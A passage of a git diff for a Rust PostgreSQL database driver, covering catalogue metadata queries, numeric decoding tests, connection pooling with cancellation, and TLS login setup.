0xC000; -const SIGN_POSITIVE_INFINITY: u16 = 0xD000; -const SIGN_NEGATIVE_INFINITY: u16 = 0xF000; - -/// NUMERIC also carries `NaN` and the infinities, which have no -/// decimal form. -fn numeric_value(text: &str) -> Option { - match text.trim().to_ascii_lowercase().as_str() { - "nan" => Some(Value::Float64(f64::NAN)), - "infinity" => Some(Value::Float64(f64::INFINITY)), - "-infinity" => Some(Value::Float64(f64::NEG_INFINITY)), - _ => text.parse().ok().map(Value::Decimal), - } -} - -/// A bit string in the form the wire carries: the bit count, then the -/// bits packed high end first. -fn bits_value(bits: &sqlx::types::BitVec) -> Option { - let bit_len = u32::try_from(bits.len()).ok()?; - BitString::from_bytes(bit_len, bits.to_bytes()).ok().map(Value::Bits) -} - -#[cfg(test)] -mod value_tests { - use super::*; - - fn numeric_bytes(weight: i16, sign: u16, scale: u16, digits: &[u16]) -> Vec { - let mut bytes = Vec::new(); - let count = u16::try_from(digits.len()).unwrap_or(0); - bytes.extend_from_slice(&count.to_be_bytes()); - bytes.extend_from_slice(&weight.to_be_bytes()); - bytes.extend_from_slice(&sign.to_be_bytes()); - bytes.extend_from_slice(&scale.to_be_bytes()); - for digit in digits { - bytes.extend_from_slice(&digit.to_be_bytes()); - } - bytes - } - - #[test] - fn numeric_keeps_its_declared_scale() { - // 12345.67890 as the server sends it: 1 | 2345 | 6789 | 0000, - // with a declared scale of 5. - let bytes = numeric_bytes(1, SIGN_POSITIVE, 5, &[1, 2345, 6789, 0]); - - assert_eq!(numeric_text(&bytes).as_deref(), Some("12345.67890")); - } - - #[test] - fn a_numeric_wider_than_a_fixed_decimal_survives() { - // 30 integer digits and 9 fractional ones, past the 28 a - // fixed-width decimal type holds. - let bytes = numeric_bytes( - 7, - SIGN_POSITIVE, - 9, - &[12, 3456, 7890, 1234, 5678, 9012, 3456, 7890, 1234, 5678, 9000], - ); - - let text = numeric_text(&bytes).expect("the wire form reads"); - assert_eq!(text, "123456789012345678901234567890.123456789"); - let Some(Value::Decimal(decimal)) = numeric_value(&text) else { - panic!("a wide numeric did not parse"); - }; - assert_eq!(decimal.to_string(), "123456789012345678901234567890.123456789"); - } - - #[test] - fn a_numeric_below_one_keeps_its_leading_zeros() { - // 0.00001234, whose first digit group sits two places past the - // decimal point. - let bytes = numeric_bytes(-2, SIGN_POSITIVE, 8, &[1234]); - - assert_eq!(numeric_text(&bytes).as_deref(), Some("0.00001234")); - } - - #[test] - fn a_negative_numeric_keeps_its_sign() { - let bytes = numeric_bytes(0, SIGN_NEGATIVE, 2, &[42, 5000]); - - assert_eq!(numeric_text(&bytes).as_deref(), Some("-42.50")); - } - - #[test] - fn numeric_carries_the_non_finite_values_postgres_allows() { - let nan = numeric_text(&numeric_bytes(0, SIGN_NAN, 0, &[])); - assert_eq!(nan.as_deref(), Some("NaN")); - assert!(matches!(numeric_value("NaN"), Some(Value::Float64(v)) if v.is_nan())); - - let negative = numeric_text(&numeric_bytes(0, SIGN_NEGATIVE_INFINITY, 0, &[])); - assert_eq!(negative.as_deref(), Some("-Infinity")); - assert_eq!(numeric_value("-Infinity"), Some(Value::Float64(f64::NEG_INFINITY))); - } - - #[test] - fn a_truncated_numeric_is_refused() { - assert_eq!(numeric_text(&[0, 1, 0, 0]), None, "a short header was read anyway"); - assert_eq!( - numeric_text(&numeric_bytes(0, SIGN_POSITIVE, 0, &[1])[..9]), - None, - "a missing digit was read anyway" - ); - } - - #[test] - fn a_bit_string_keeps_its_length() { - let mut bits = sqlx::types::BitVec::from_elem(5, false); - for position in [0, 2, 3] { - bits.set(position, true); - } - - let Some(Value::Bits(read)) = bits_value(&bits) else { - panic!("a bit string did not convert"); - }; - - assert_eq!(read.bit_len(), 5); - assert_eq!(read.to_string(), "10110"); - } -} - -#[cfg(test)] -mod decimal_tests { - use super::*; - - #[test] - fn a_decimal_the_wire_type_holds_converts_exactly() { - let value: tablepro_core::value::SqlDecimal = "12345.67890".parse().expect("a decimal"); - - let converted = to_pg_decimal(&value).expect("the wire form"); - - assert_eq!(converted.to_string(), "12345.67890", "the declared scale was trimmed"); - } - - #[test] - fn a_decimal_wider_than_the_wire_type_is_refused_rather_than_rounded() { - // 39 digits, past what the wire type carries. - let wide: tablepro_core::value::SqlDecimal = "123456789012345678901234567890123456789" - .parse() - .expect("a wide decimal"); - - assert!( - to_pg_decimal(&wide).is_none(), - "a number too wide to send exactly was converted anyway" - ); - } -} +//! The PostgreSQL driver: tokio-postgres over the target's transport, a +//! deadpool-postgres workspace pool, and psql-model editor sessions. +//! +//! No statement is ever prepared under a name, so the driver works +//! behind PgBouncer with `max_prepared_statements = 0`, and no session +//! setting is ever sent, so nothing leaks to other clients of a +//! transaction pooler. + +mod cancel; +mod capabilities; +mod catalog; +mod codec; +mod commit_resolution; +mod connection; +mod dialect; +mod driver; +mod editor; +mod errors; +mod metadata; +mod pg_call; +mod physical; +mod pool; +mod standalone; +mod stream_read; +mod tls; +mod transport_io; +mod workspace_call; +mod write_batch; + +pub use dialect::PgDialect; +pub use driver::PgDriver; +pub use pool::WORKSPACE_POOL_MAX_SIZE; diff --git a/linux/crates/drivers/postgres/src/metadata/estimate.rs b/linux/crates/drivers/postgres/src/metadata/estimate.rs new file mode 100644 index 0000000000..d3916caefb --- /dev/null +++ b/linux/crates/drivers/postgres/src/metadata/estimate.rs @@ -0,0 +1,62 @@ +use tablepro_core::DriverError; +use tablepro_core::meta::{RowCountEstimate, TableEstimate}; +use tokio_postgres::Client; + +use super::{decode_error, text_rows}; + +/// The planner's row count summed over the table and every descendant, +/// so a partitioned or inherited table counts its children. A table never +/// analysed has `reltuples` -1 from PostgreSQL 14 on (0 before), which is +/// no estimate at all. The heap size in blocks is what sizes a ctid +/// window. +const ESTIMATE_SQL: &str = "\ +WITH RECURSIVE tree AS ( + SELECT $1::text::regclass::oid AS oid + UNION + SELECT i.inhrelid FROM pg_catalog.pg_inherits i JOIN tree t ON i.inhparent = t.oid +) +SELECT COALESCE(SUM(GREATEST(c.reltuples, 0)), 0)::float8, + COALESCE(bool_and(c.reltuples < 0), true), + (pg_catalog.pg_relation_size($1::text::regclass) + / current_setting('block_size')::int8)::int8 +FROM tree +JOIN pg_catalog.pg_class c ON c.oid = tree.oid"; + +pub(crate) async fn table_estimate(client: &Client, relation: &str) -> Result { + let field = decode_error("pg_class"); + let rows = text_rows(client, ESTIMATE_SQL, &[relation]).await?; + let Some(row) = rows.first() else { + return Ok(TableEstimate { + rows: RowCountEstimate::Unknown, + heap_blocks: None, + }); + }; + let tuples: f64 = row.try_get(0).map_err(&field)?; + let never_analysed: bool = row.try_get(1).map_err(&field)?; + let blocks: i64 = row.try_get(2).map_err(&field)?; + Ok(TableEstimate { + rows: estimate(tuples, never_analysed), + heap_blocks: u64::try_from(blocks).ok(), + }) +} + +fn estimate(tuples: f64, never_analysed: bool) -> RowCountEstimate { + if never_analysed || !tuples.is_finite() { + return RowCountEstimate::Unknown; + } + // reltuples is a float the planner rounds anyway, so the nearest + // whole row is all the precision it carries; the cast saturates. + RowCountEstimate::Approximate(tuples.round().max(0.0) as u64) +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn an_unanalysed_table_has_no_estimate() { + assert_eq!(estimate(0.0, true), RowCountEstimate::Unknown); + assert_eq!(estimate(1234.4, false), RowCountEstimate::Approximate(1234)); + assert_eq!(estimate(f64::NAN, false), RowCountEstimate::Unknown); + } +} diff --git a/linux/crates/drivers/postgres/src/metadata/foreign_keys.rs b/linux/crates/drivers/postgres/src/metadata/foreign_keys.rs new file mode 100644 index 0000000000..3b6816f6cd --- /dev/null +++ b/linux/crates/drivers/postgres/src/metadata/foreign_keys.rs @@ -0,0 +1,71 @@ +use tablepro_core::ddl::ReferentialAction; +use tablepro_core::{DriverError, ForeignKeyInfo}; +use tokio_postgres::Client; + +use super::{decode_error, text_rows}; + +const FOREIGN_KEYS_SQL: &str = "\ +SELECT c.conname::text, + ARRAY(SELECT a.attname::text + FROM unnest(c.conkey) WITH ORDINALITY AS k(attnum, ord) + JOIN pg_catalog.pg_attribute a ON a.attrelid = c.conrelid AND a.attnum = k.attnum + ORDER BY k.ord), + n.nspname::text, + t.relname::text, + ARRAY(SELECT a.attname::text + FROM unnest(c.confkey) WITH ORDINALITY AS k(attnum, ord) + JOIN pg_catalog.pg_attribute a ON a.attrelid = c.confrelid AND a.attnum = k.attnum + ORDER BY k.ord), + c.confdeltype::text, + c.confupdtype::text +FROM pg_catalog.pg_constraint c +JOIN pg_catalog.pg_class t ON t.oid = c.confrelid +JOIN pg_catalog.pg_namespace n ON n.oid = t.relnamespace +WHERE c.conrelid = $1::text::regclass AND c.contype = 'f' +ORDER BY c.conname"; + +pub(crate) async fn fetch_foreign_keys(client: &Client, relation: &str) -> Result, DriverError> { + let field = decode_error("pg_constraint"); + text_rows(client, FOREIGN_KEYS_SQL, &[relation]) + .await? + .iter() + .map(|row| { + let on_delete: String = row.try_get(5).map_err(&field)?; + let on_update: String = row.try_get(6).map_err(&field)?; + Ok(ForeignKeyInfo { + name: row.try_get(0).map_err(&field)?, + columns: row.try_get(1).map_err(&field)?, + ref_schema: Some(row.try_get(2).map_err(&field)?), + ref_table: row.try_get(3).map_err(&field)?, + ref_columns: row.try_get(4).map_err(&field)?, + on_delete: referential_action(&on_delete), + on_update: referential_action(&on_update), + }) + }) + .collect() +} + +/// `pg_constraint.confdeltype` and `confupdtype`. +fn referential_action(code: &str) -> Option { + Some(match code { + "a" => ReferentialAction::NoAction, + "r" => ReferentialAction::Restrict, + "c" => ReferentialAction::Cascade, + "n" => ReferentialAction::SetNull, + "d" => ReferentialAction::SetDefault, + _ => return None, + }) +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn action_codes_map_to_actions() { + assert_eq!(referential_action("a"), Some(ReferentialAction::NoAction)); + assert_eq!(referential_action("c"), Some(ReferentialAction::Cascade)); + assert_eq!(referential_action("d"), Some(ReferentialAction::SetDefault)); + assert_eq!(referential_action("?"), None); + } +} diff --git a/linux/crates/drivers/postgres/src/metadata/identity.rs b/linux/crates/drivers/postgres/src/metadata/identity.rs new file mode 100644 index 0000000000..8006c2b6ed --- /dev/null +++ b/linux/crates/drivers/postgres/src/metadata/identity.rs @@ -0,0 +1,101 @@ +use tablepro_core::DriverError; +use tablepro_core::meta::{EngineRowId, RowIdentity}; +use tokio_postgres::Client; + +use super::{decode_error, text_rows}; + +/// The relation's kind, its primary key, and the first unique index that +/// can stand in for one: no predicate, no expressions, and every key +/// column NOT NULL, so it names every row exactly once. +const IDENTITY_SQL: &str = "\ +SELECT c.relkind::text, + ARRAY(SELECT a.attname::text + FROM pg_catalog.pg_constraint p + CROSS JOIN LATERAL unnest(p.conkey) WITH ORDINALITY AS k(attnum, ord) + JOIN pg_catalog.pg_attribute a ON a.attrelid = p.conrelid AND a.attnum = k.attnum + WHERE p.conrelid = c.oid AND p.contype = 'p' + ORDER BY k.ord), + ARRAY(SELECT a.attname::text + FROM (SELECT i.indrelid, i.indkey, i.indnkeyatts + FROM pg_catalog.pg_index i + JOIN pg_catalog.pg_class ic ON ic.oid = i.indexrelid + WHERE i.indrelid = c.oid + AND i.indisunique + AND i.indisvalid + AND i.indpred IS NULL + AND i.indexprs IS NULL + AND NOT EXISTS ( + SELECT 1 + FROM unnest(i.indkey::int2[]) WITH ORDINALITY AS u(attnum, ord) + JOIN pg_catalog.pg_attribute ua + ON ua.attrelid = i.indrelid AND ua.attnum = u.attnum + WHERE u.ord <= i.indnkeyatts AND NOT ua.attnotnull) + ORDER BY ic.relname + LIMIT 1) best + CROSS JOIN LATERAL unnest(best.indkey::int2[]) WITH ORDINALITY AS k(attnum, ord) + JOIN pg_catalog.pg_attribute a ON a.attrelid = best.indrelid AND a.attnum = k.attnum + WHERE k.ord <= best.indnkeyatts + ORDER BY k.ord) +FROM pg_catalog.pg_class c +WHERE c.oid = $1::text::regclass"; + +pub(crate) async fn row_identity(client: &Client, relation: &str) -> Result { + let field = decode_error("pg_class"); + let rows = text_rows(client, IDENTITY_SQL, &[relation]).await?; + let Some(row) = rows.first() else { + return Ok(RowIdentity::Unordered); + }; + let relkind: String = row.try_get(0).map_err(&field)?; + let primary_key: Vec = row.try_get(1).map_err(&field)?; + let unique_key: Vec = row.try_get(2).map_err(&field)?; + Ok(identity(&relkind, primary_key, unique_key)) +} + +/// The best way to name a row again: a key, else the physical address +/// with its tuple version, else nothing. +fn identity(relkind: &str, primary_key: Vec, unique_key: Vec) -> RowIdentity { + if !primary_key.is_empty() { + return RowIdentity::UniqueKey { columns: primary_key }; + } + if !unique_key.is_empty() { + return RowIdentity::UniqueKey { columns: unique_key }; + } + match relkind { + "r" | "m" => RowIdentity::EngineRowId(EngineRowId::PostgresCtid), + // A ctid is unique only within one partition. + "p" => RowIdentity::EngineRowId(EngineRowId::PostgresTableoidCtid), + _ => RowIdentity::Unordered, + } +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn identity_ladder_prefers_a_key_then_the_row_address() { + let names = |names: &[&str]| names.iter().map(|name| (*name).to_owned()).collect::>(); + + assert_eq!( + identity("r", names(&["id"]), names(&["email"])), + RowIdentity::UniqueKey { + columns: names(&["id"]) + } + ); + assert_eq!( + identity("r", Vec::new(), names(&["email"])), + RowIdentity::UniqueKey { + columns: names(&["email"]) + } + ); + assert_eq!( + identity("r", Vec::new(), Vec::new()), + RowIdentity::EngineRowId(EngineRowId::PostgresCtid) + ); + assert_eq!( + identity("p", Vec::new(), Vec::new()), + RowIdentity::EngineRowId(EngineRowId::PostgresTableoidCtid) + ); + assert_eq!(identity("v", Vec::new(), Vec::new()), RowIdentity::Unordered); + } +} diff --git a/linux/crates/drivers/postgres/src/metadata/indexes.rs b/linux/crates/drivers/postgres/src/metadata/indexes.rs new file mode 100644 index 0000000000..d286a2e576 --- /dev/null +++ b/linux/crates/drivers/postgres/src/metadata/indexes.rs @@ -0,0 +1,52 @@ +use tablepro_core::DriverError; +use tablepro_core::meta::{IndexInfo, IndexKey}; +use tokio_postgres::Client; + +use super::{decode_error, text_rows}; + +/// One row per key column, the INCLUDE columns past `indnkeyatts` left +/// out. Attribute number 0 marks an expression, which only +/// `pg_get_indexdef` can print. +const INDEXES_SQL: &str = "\ +SELECT ic.relname::text, + i.indisunique, + i.indisprimary, + pg_catalog.pg_get_expr(i.indpred, i.indrelid)::text, + a.attname::text, + pg_catalog.pg_get_indexdef(i.indexrelid, k.ord::int4, true)::text, + COALESCE(pg_catalog.pg_index_column_has_property(i.indexrelid, k.ord::int4, 'desc'), false) +FROM pg_catalog.pg_index i +JOIN pg_catalog.pg_class ic ON ic.oid = i.indexrelid +CROSS JOIN LATERAL unnest(i.indkey::int2[]) WITH ORDINALITY AS k(attnum, ord) +LEFT JOIN pg_catalog.pg_attribute a ON a.attrelid = i.indrelid AND a.attnum = k.attnum AND k.attnum > 0 +WHERE i.indrelid = $1::text::regclass AND k.ord <= i.indnkeyatts +ORDER BY ic.relname, k.ord"; + +pub(crate) async fn fetch_indexes(client: &Client, relation: &str) -> Result, DriverError> { + let field = decode_error("pg_index"); + let mut indexes: Vec = Vec::new(); + for row in text_rows(client, INDEXES_SQL, &[relation]).await? { + let name: String = row.try_get(0).map_err(&field)?; + let column: Option = row.try_get(4).map_err(&field)?; + let expression: String = row.try_get(5).map_err(&field)?; + let descending: bool = row.try_get(6).map_err(&field)?; + let key = match column { + Some(name) => IndexKey::Column { name, descending }, + None => IndexKey::Expression { + sql: expression, + descending, + }, + }; + match indexes.last_mut() { + Some(index) if index.name == name => index.keys.push(key), + _ => indexes.push(IndexInfo { + name, + keys: vec![key], + unique: row.try_get(1).map_err(&field)?, + primary: row.try_get(2).map_err(&field)?, + predicate: row.try_get(3).map_err(&field)?, + }), + } + } + Ok(indexes) +} diff --git a/linux/crates/drivers/postgres/src/metadata/mod.rs b/linux/crates/drivers/postgres/src/metadata/mod.rs new file mode 100644 index 0000000000..07b845a6d9 --- /dev/null +++ b/linux/crates/drivers/postgres/src/metadata/mod.rs @@ -0,0 +1,101 @@ +//! The catalogue reads behind the sidebar, the grid and the structure +//! tab. Every statement projects built-in types only, so none of them +//! makes tokio-postgres look a type up with a named statement. + +mod estimate; +mod foreign_keys; +mod identity; +mod indexes; +mod objects; + +pub(crate) use estimate::table_estimate; +pub(crate) use foreign_keys::fetch_foreign_keys; +pub(crate) use identity::row_identity; +pub(crate) use indexes::fetch_indexes; +pub(crate) use objects::{list_objects, list_schemas}; + +use futures_util::TryStreamExt; +use postgres_types::{ToSql, Type}; +use tablepro_core::DriverError; +use tablepro_core::column::ColumnInfo; +use tablepro_core::ddl::{PrimaryKeyConstraint, TableDefinition}; +use tablepro_core::meta::TableRef; +use tokio_postgres::{Client, Row}; + +use crate::catalog::{ + COLUMNS_SQL, INBOUND_FOREIGN_KEYS_SQL, PRIMARY_KEY_NAME_SQL, PgColumnRow, column_definition, column_info, + inbound_foreign_key, +}; +use crate::errors::map_error; + +/// Rows of a catalogue query whose parameters are all text. +pub(crate) async fn text_rows(client: &Client, sql: &str, params: &[&str]) -> Result, DriverError> { + let typed: Vec<(&(dyn ToSql + Sync), Type)> = params + .iter() + .map(|param| (param as &(dyn ToSql + Sync), Type::TEXT)) + .collect(); + let stream = client + .query_typed_raw(sql, typed) + .await + .map_err(|error| map_error(&error))?; + stream.try_collect().await.map_err(|error| map_error(&error)) +} + +pub(crate) fn decode_error(table: &'static str) -> impl Fn(tokio_postgres::Error) -> DriverError { + move |error| DriverError::Decode { + column: table.to_owned(), + detail: error.to_string(), + } +} + +/// `relation` is the table's quoted, qualified name, which `::regclass` +/// resolves the same way the server resolves it in a query. +pub(crate) async fn fetch_columns(client: &Client, relation: &str) -> Result, DriverError> { + column_rows(client, relation) + .await + .map(|rows| rows.iter().map(column_info).collect()) +} + +async fn column_rows(client: &Client, relation: &str) -> Result, DriverError> { + text_rows(client, COLUMNS_SQL, &[relation]) + .await? + .iter() + .map(PgColumnRow::from_row) + .collect() +} + +pub(crate) async fn fetch_table_definition( + client: &Client, + table: &TableRef, + relation: &str, +) -> Result { + let columns = column_rows(client, relation).await?; + let primary_key = text_rows(client, PRIMARY_KEY_NAME_SQL, &[relation]) + .await? + .first() + .map(|row| -> Result { + let field = decode_error("pg_constraint"); + Ok(PrimaryKeyConstraint { + name: Some(row.try_get(0).map_err(&field)?), + columns: row.try_get(1).map_err(&field)?, + }) + }) + .transpose()?; + let indexes = fetch_indexes(client, relation).await?; + let foreign_keys = fetch_foreign_keys(client, relation).await?; + let inbound_foreign_keys = text_rows(client, INBOUND_FOREIGN_KEYS_SQL, &[relation]) + .await? + .iter() + .map(inbound_foreign_key) + .collect::>()?; + Ok(TableDefinition { + table: table.clone(), + columns: columns.iter().map(column_definition).collect(), + primary_key, + indexes, + foreign_keys, + inbound_foreign_keys, + // PostgreSQL has no statement that prints a table's own DDL. + source: None, + }) +} diff --git a/linux/crates/drivers/postgres/src/metadata/objects.rs b/linux/crates/drivers/postgres/src/metadata/objects.rs new file mode 100644 index 0000000000..39e2a8e26a --- /dev/null +++ b/linux/crates/drivers/postgres/src/metadata/objects.rs @@ -0,0 +1,105 @@ +use tablepro_core::DriverError; +use tablepro_core::meta::{ObjectInfo, ObjectKind, ObjectScope, SchemaInfo}; +use tokio_postgres::Client; + +use super::{decode_error, text_rows}; + +/// Schemas this session can use: no TOAST schemas, and no other +/// session's temporary schema. +const SCHEMAS_SQL: &str = "\ +SELECT n.nspname::text, + COALESCE(n.nspname = current_schema(), false), + n.nspname = 'information_schema' OR starts_with(n.nspname, 'pg_') +FROM pg_catalog.pg_namespace n +WHERE NOT starts_with(n.nspname, 'pg_toast') + AND NOT pg_catalog.pg_is_other_temp_schema(n.oid) +ORDER BY n.nspname"; + +const OBJECTS_SQL: &str = "\ +SELECT DISTINCT n.nspname::text, o.name, o.kind +FROM ( + SELECT c.relnamespace AS namespace, c.relname::text AS name, c.relkind::text AS kind + FROM pg_catalog.pg_class c + WHERE c.relkind IN ('r', 'p', 'v', 'm', 'f', 'S') + UNION ALL + SELECT p.pronamespace, p.proname::text, CASE p.prokind WHEN 'f' THEN 'fn' ELSE 'pr' END + FROM pg_catalog.pg_proc p + WHERE p.prokind IN ('f', 'p') +) o +JOIN pg_catalog.pg_namespace n ON n.oid = o.namespace +WHERE NOT pg_catalog.pg_is_other_temp_schema(n.oid) + AND CASE $1 + WHEN 'default' THEN n.nspname = current_schema() + WHEN 'schema' THEN n.nspname = $2 + ELSE n.nspname <> 'information_schema' AND NOT starts_with(n.nspname, 'pg_') + END +ORDER BY 1, 2, 3"; + +pub(crate) async fn list_schemas(client: &Client) -> Result, DriverError> { + let field = decode_error("pg_namespace"); + text_rows(client, SCHEMAS_SQL, &[]) + .await? + .iter() + .map(|row| { + Ok(SchemaInfo { + name: row.try_get(0).map_err(&field)?, + is_default: row.try_get(1).map_err(&field)?, + is_system: row.try_get(2).map_err(&field)?, + }) + }) + .collect() +} + +pub(crate) async fn list_objects(client: &Client, scope: &ObjectScope) -> Result, DriverError> { + let (mode, schema) = match scope { + ObjectScope::DefaultSchema => ("default", ""), + ObjectScope::Schema(schema) => ("schema", schema.as_str()), + ObjectScope::AllSchemas => ("all", ""), + }; + let field = decode_error("pg_class"); + let rows = text_rows(client, OBJECTS_SQL, &[mode, schema]).await?; + let mut objects = Vec::with_capacity(rows.len()); + for row in &rows { + let code: String = row.try_get(2).map_err(&field)?; + let Some(kind) = object_kind(&code) else { + continue; + }; + objects.push(ObjectInfo { + schema: Some(row.try_get(0).map_err(&field)?), + name: row.try_get(1).map_err(&field)?, + kind, + }); + } + Ok(objects) +} + +/// `pg_class.relkind`, or `fn` and `pr` for routines, whose own +/// `prokind` letters collide with the relation kinds. +fn object_kind(code: &str) -> Option { + Some(match code { + "r" => ObjectKind::Table, + "p" => ObjectKind::PartitionedTable, + "v" => ObjectKind::View, + "m" => ObjectKind::MaterializedView, + "f" => ObjectKind::ForeignTable, + "S" => ObjectKind::Sequence, + "fn" => ObjectKind::Function, + "pr" => ObjectKind::Procedure, + _ => return None, + }) +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn relation_and_routine_codes_map_to_kinds() { + assert_eq!(object_kind("r"), Some(ObjectKind::Table)); + assert_eq!(object_kind("p"), Some(ObjectKind::PartitionedTable)); + assert_eq!(object_kind("S"), Some(ObjectKind::Sequence)); + assert_eq!(object_kind("fn"), Some(ObjectKind::Function)); + assert_eq!(object_kind("pr"), Some(ObjectKind::Procedure)); + assert_eq!(object_kind("i"), None); + } +} diff --git a/linux/crates/drivers/postgres/src/pg_call.rs b/linux/crates/drivers/postgres/src/pg_call.rs new file mode 100644 index 0000000000..525f329efa --- /dev/null +++ b/linux/crates/drivers/postgres/src/pg_call.rs @@ -0,0 +1,92 @@ +use std::sync::Arc; +use std::sync::atomic::{AtomicBool, Ordering}; + +use deadpool_postgres::{Object, Pool, Timeouts}; +use tablepro_core::{CallResource, DriverError, StopRequest}; +use tokio_postgres::Client; + +use crate::cancel::PgStop; +use crate::errors::map_pool_error; + +/// The pooled connection one workspace call runs on. +/// +/// It starts empty and is filled inside the call, so the call's deadline +/// and cancel cover the wait for a slot too. deadpool's own recycle only +/// runs `""`, which succeeds inside a half-finished transaction, so any +/// connection whose flight did not end with an acknowledged COMMIT or +/// ROLLBACK is taken out of the pool instead of returned to it. +pub(crate) struct PgCall { + object: Option, + abandon: Arc, +} + +impl PgCall { + pub(crate) fn new() -> Self { + Self { + object: None, + abandon: Arc::new(AtomicBool::new(false)), + } + } + + /// Take a slot from the pool, giving up as soon as the call is + /// stopped. Once the slot is held, the stop can reach the server. + pub(crate) async fn acquire( + &mut self, + pool: &Pool, + timeouts: &Timeouts, + request: &StopRequest, + stop: &PgStop, + ) -> Result<(), DriverError> { + let object = tokio::select! { + biased; + () = request.requested() => return Err(stop.interrupted(request)), + object = pool.timeout_get(timeouts) => object.map_err(|error| map_pool_error(&error))?, + }; + stop.arm(object.cancel_token()); + self.object = Some(object); + // The stop may have been asked for between the slot arriving and + // the cancel token being armed, and then no cancel request went + // out; nothing has been sent yet, so stopping here is exact. + if request.is_requested() { + return Err(stop.interrupted(request)); + } + Ok(()) + } + + pub(crate) fn client(&self) -> Result<&Client, DriverError> { + self.object + .as_deref() + .map(|wrapper| &**wrapper) + .ok_or_else(|| DriverError::Protocol("the call holds no connection".to_owned())) + } + + /// The flight did not reach an acknowledged end, so the connection + /// may still be inside a transaction. + pub(crate) fn taint(&self) { + self.abandon.store(true, Ordering::SeqCst); + } + + fn take(&mut self) { + if let Some(object) = self.object.take() { + drop(Object::take(object)); + } + } +} + +impl CallResource for PgCall { + fn abandon_flag(&self) -> Arc { + self.abandon.clone() + } + + fn discard(mut self) { + self.take(); + } +} + +impl Drop for PgCall { + fn drop(&mut self) { + if self.abandon.load(Ordering::SeqCst) { + self.take(); + } + } +} diff --git a/linux/crates/drivers/postgres/src/physical.rs b/linux/crates/drivers/postgres/src/physical.rs new file mode 100644 index 0000000000..18348f9dbc --- /dev/null +++ b/linux/crates/drivers/postgres/src/physical.rs @@ -0,0 +1,177 @@ +use std::sync::Arc; +use std::sync::atomic::Ordering; +use std::time::Duration; + +use secrecy::ExposeSecret; +use tablepro_core::{ + APPLICATION_NAME, ConfigError, Credentials, DriverError, LivenessPolicy, NetworkTarget, ServerInfo, TimeoutPhase, + Transport, +}; +use tokio_postgres::config::ChannelBinding; +use tokio_postgres::{CancelToken, Client, Config, SimpleQueryMessage}; +use tokio_util::sync::CancellationToken; +use tokio_util::task::TaskTracker; + +use crate::errors::{map_connect_error, map_error, transport_error}; +use crate::tls::{PgTlsSetup, PgTlsStream}; +use crate::transport_io::TransportIo; + +/// The half of a physical connection that does the I/O. Whoever owns it +/// must poll it, or nothing the client sends ever reaches the server. +pub(crate) type PgRawConnection = tokio_postgres::Connection; + +/// Everything needed to open a physical connection to one server, and +/// to reach it again with a cancel request. +/// +/// Every stream comes from the transport, so the driver never learns +/// whether the server is reached directly or through an SSH forward. +pub(crate) struct PgEndpoint { + transport: Arc, + config: Config, + tls: PgTlsSetup, + liveness: LivenessPolicy, +} + +impl PgEndpoint { + pub(crate) fn new(target: &NetworkTarget, liveness: LivenessPolicy) -> Result { + let Credentials::Password { username, password } = &target.credentials else { + return Err(DriverError::Config(ConfigError::AuthModeUnsupported)); + }; + let tls = PgTlsSetup::new(&target.tls, target.tls_server_name())?; + let mut config = Config::new(); + config + .user(username) + .password(password.expose_secret()) + .application_name(APPLICATION_NAME) + .channel_binding(ChannelBinding::Prefer) + .ssl_mode(tls.ssl_mode()); + if let Some(database) = target.database.as_deref().filter(|name| !name.is_empty()) { + config.dbname(database); + } + Ok(Self { + transport: target.transport.clone(), + config, + tls, + liveness, + }) + } + + pub(crate) fn liveness(&self) -> &LivenessPolicy { + &self.liveness + } + + /// Open a physical connection: a stream from the transport, then the + /// startup and login under the login timeout. `cancel` abandons + /// either step. + pub(crate) async fn open(&self, cancel: &CancellationToken) -> Result<(Client, PgRawConnection), DriverError> { + let opening = async { + let stream = self.transport.open().await.map_err(transport_error)?; + self.login(TransportIo::new(stream)).await + }; + tokio::select! { + () = cancel.cancelled() => Err(DriverError::Cancelled), + opened = opening => opened, + } + } + + async fn login(&self, stream: TransportIo) -> Result<(Client, PgRawConnection), DriverError> { + let (connector, handshake_started) = self.tls.connector(); + let login = self.config.connect_raw(stream, connector); + match tokio::time::timeout(self.liveness.login_timeout, login).await { + Err(_) => Err(DriverError::Timeout { + phase: TimeoutPhase::Login, + server_cancelled: false, + }), + Ok(Ok(connected)) => Ok(connected), + Ok(Err(error)) => { + let started = handshake_started.load(Ordering::SeqCst); + let mapped = map_connect_error(&error, self.tls.requested(), started); + Err(self.explain(mapped).await) + } + } + } + + /// Ask the server to stop whatever the connection behind `token` is + /// running. The request goes over a stream of its own, because the + /// connection it names is busy. + pub(crate) async fn cancel_request(&self, token: &CancelToken) -> Result<(), DriverError> { + let stream = TransportIo::new(self.transport.open().await.map_err(transport_error)?); + let (connector, _) = self.tls.connector(); + token + .cancel_query_raw(stream, connector) + .await + .map_err(|error| map_error(&error)) + } + + /// A stream that closed may be the transport's doing, such as an SSH + /// master that exited, which says more than "connection lost". + pub(crate) async fn explain(&self, error: DriverError) -> DriverError { + if !matches!(error, DriverError::ConnectionLost { .. }) { + return error; + } + match self.transport.explain_closed_stream().await { + Some(transport) => DriverError::Transport(transport), + None => error, + } + } + + /// Open a connection of its own and ask it one trivial question, + /// within `bound`. This is the probe that never waits for a pool. + pub(crate) async fn check(&self, bound: Duration, tracker: &TaskTracker) -> Result<(), DriverError> { + let checking = async { + let (client, connection) = self.open(&CancellationToken::new()).await?; + let driving = tracker.spawn(async move { + let _ = connection.await; + }); + let answered = client.simple_query("SELECT 1").await.map_err(|error| map_error(&error)); + drop(client); + driving.abort(); + answered.map(|_| ()) + }; + match tokio::time::timeout(bound, checking).await { + Ok(outcome) => outcome, + Err(_) => Err(DriverError::Timeout { + phase: TimeoutPhase::Probe, + server_cancelled: false, + }), + } + } +} + +/// What the server says it is, read once at connect. +pub(crate) async fn server_info(client: &Client) -> Result { + let messages = client + .simple_query("SELECT current_setting('server_version_num'), current_setting('server_version')") + .await + .map_err(|error| map_error(&error))?; + let row = messages.iter().find_map(|message| match message { + SimpleQueryMessage::Row(row) => Some(row), + _ => None, + }); + let number = row.and_then(|row| row.get(0)).and_then(|text| text.parse::().ok()); + let version = row.and_then(|row| row.get(1)).unwrap_or_default().to_owned(); + let Some(number) = number else { + return Err(DriverError::Protocol( + "the server did not report server_version_num".to_owned(), + )); + }; + let (major, minor) = split_version_number(number); + Ok(ServerInfo::new("PostgreSQL", version, major, minor, 0)) +} + +/// 